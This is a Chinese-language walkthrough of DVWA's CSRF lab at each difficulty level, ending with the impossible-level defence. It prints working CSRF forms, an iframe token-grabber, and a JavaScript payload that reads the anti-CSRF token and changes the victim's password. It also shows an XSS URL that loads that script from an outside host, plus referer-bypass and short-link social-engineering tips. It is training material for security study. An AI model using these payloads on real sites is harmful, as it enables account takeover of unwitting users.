CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。
攻击账户:1337
目标账户:admin
难度(low)
从源代码可以看出这里只是对用户输入的两个密码进行判断,看是否相等。不相等就提示密码不匹配。
相等的话,查看有没有设置数据库连接的全局变量和其是否为一个对象。如果是的话,用mysqli_real_escape_string()函数去转义一些字符,如果不是的话输出错误。
是同一个对象的话,再用md5进行加密,再更新数据库。
知道了这些之后,1337修改密码,抓包
生成csrf Poc放到自己的网站上
为了不被轻易辨别,将网站URL生成短网址
利用社工使目标用户admin访问该网址
admin在登陆状态下访问了该网址,admin密码被更改
难度(middle)
中等级别的代码增加了 referer 判断:Php
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )
如果 HTTP_REFERER 和 SERVER_NAME 不是来自同一个域的话就无法进行到循环内部,执行修改密码的操作。这个时候需要我们手动伪造 referer 来执行 CSRF 攻击:
不在一个域时
当然受害者肯定不会帮我们手动添加 referer 的,因为代码使用了 stripos 函数来检测 referer,所以这个时候我们得精心构造好一个 html 页面表单:Html
<html>
<head>
<meta charset="utf-8">
<title>CSRF</title>
</head>
<body>
<form method="get" id="csrf" action="http://127.0.0.1:8888/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="123">
<input type="hidden" name="password_conf" value="123">
<input type="hidden" name="Change" value="Change">
</form>
<script> document.forms["csrf"].submit(); </script>
</body>
</html>
绕过Referer方法
1. 目录混淆 referer
将上述 html 页面放到服务器的 dvwa.com 目录下,然后让用户访问自动触发提交然后访问构造好的 payload 地址:Payload
可以看到,修改成功
2. 文件名混淆referer
http://exp.com/123/dvwa.com.html
3. ?拼接混淆referer
因为 ? 后默认当做参数传递,这里因为 html 页面是不能接受参数的,所以随便输入是不影响实际的结果的,利用这个特点来绕过 referer 的检测。
http://exp.com/123/csrf.com?dvwa.com
都不能成功,有哪位大神解答一下啊啊啊
referer一直显示http://exp.com
难度(high)
high级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器都会返回一个随机的token,当浏览器向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。这里因为对请求的token进行了验证,所以比上两个等级的更加的安全。
因为该请求是get请求,所以token验证会被放在请求URL中,我们随便输入密码验证一下,可以看到,在请求的URL中最末尾加入了token。
要绕过High级别的反CSRF机制,关键是要获取token,要利用受害者的cookie,去修改密码的页面,获取关键的token。
1. 常规思路 HTML 发起 CSRF 请求
试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击。代码如下:
<html>
<script type="text/javascript">
function attack()
{
document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
document.getElementById("transfer").submit();
}
</script>
<iframe src="http://dvwa.com/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
</iframe>
<body onload="attack()">
<form method="GET" id="transfer" action="http://dvwa.com/vulnerabilities/csrf">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type="hidden" name="user_token" value="">
<input type="hidden" name="Change" value="Change">
</form>
</body>
</html>
在同一个域下可以执行
跨域,指的是浏览器不能执行其他网站的脚本。它是由浏览器的同源策略造成的,是浏览器施加的安全限制。
攻击思路:当受害者点击进入这个页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击。
注:实际操作上存在跨域问题,浏览器是不允许跨域请求的。
举例说明:我们的框架iframe访问的地址是http://dvwa.com/vulnerabilities/csrf,位于服务器dvwa(域名A)上,而我们的攻击页面位于黑客服务器另一个ip地址(域名B)上.
两者的域名不同,域名B下的所有页面都不允许主动获取域名A下的页面内容,除非域名A下的页面主动发送信息给域名B的页面,所以我们的攻击脚本是不可能取到改密界面中的user_token。
由于跨域是不能实现的,所以我们要将攻击代码注入到dvwa.com所在服务器中,才有可能完成攻击。
可以利用High级别的XSS漏洞协助获取Anti-CSRF token
XSS注入有长度限制,不能够注入完整的攻击脚本,所以只获取Anti-CSRF token即可。
2. JS 发起 HTTP CSRF 请求
// 首先访问这个页面 来获取 token
var tokenUrl = 'http://127.0.0.1:8888/vulnerabilities/csrf/';
if(window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
}else{
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var count = 0;
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState ==4 && xmlhttp.status==200)
{
// 使用正则提取 token
var text = xmlhttp.responseText;
var regex = /user_token\' value\=\'(.*?)\' \/\>/;
var match = text.match(regex);
var token = match[1];
// 发起 CSRF 请求 将 token 带入
var new_url = 'http://127.0.0.1:8888/vulnerabilities/csrf/?user_token='+token+'&password_new=111&password_conf=111&Change=Change';
if(count==0){
count++;
xmlhttp.open("GET",new_url,false);
xmlhttp.send();
}
}
};
xmlhttp.open("GET",tokenUrl,false);
xmlhttp.send();
将这个 js 文件上传到外网的服务器上,这里临时放在我的网站目录下:Payload
http://exp.com/csrf.js
然后此时访问 DVWA DOM XSS 的 High 级别,直接发起 XSS 测试(后面 XSS 会详细来讲解):Javascript
http://dvwa.com/vulnerabilities/xss_d/?default=English&a=</option></select><script src="http://exp.com/csrf.js"></script>
尝试登录,密码修改成功!!!
难度(Impossible)
# 依然检验用户的 token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
# 需要输入当前的密码
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
# 检验当前密码是否正确
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
这里相对于 High 级别主要就是增加了输入当前密码的选项,这个在实战中还是一种比较主流的防护方式,攻击者不知道原始密码的情况下是无法发起 CSRF 攻击的,另外常见的防护方法还有加验证码来防护。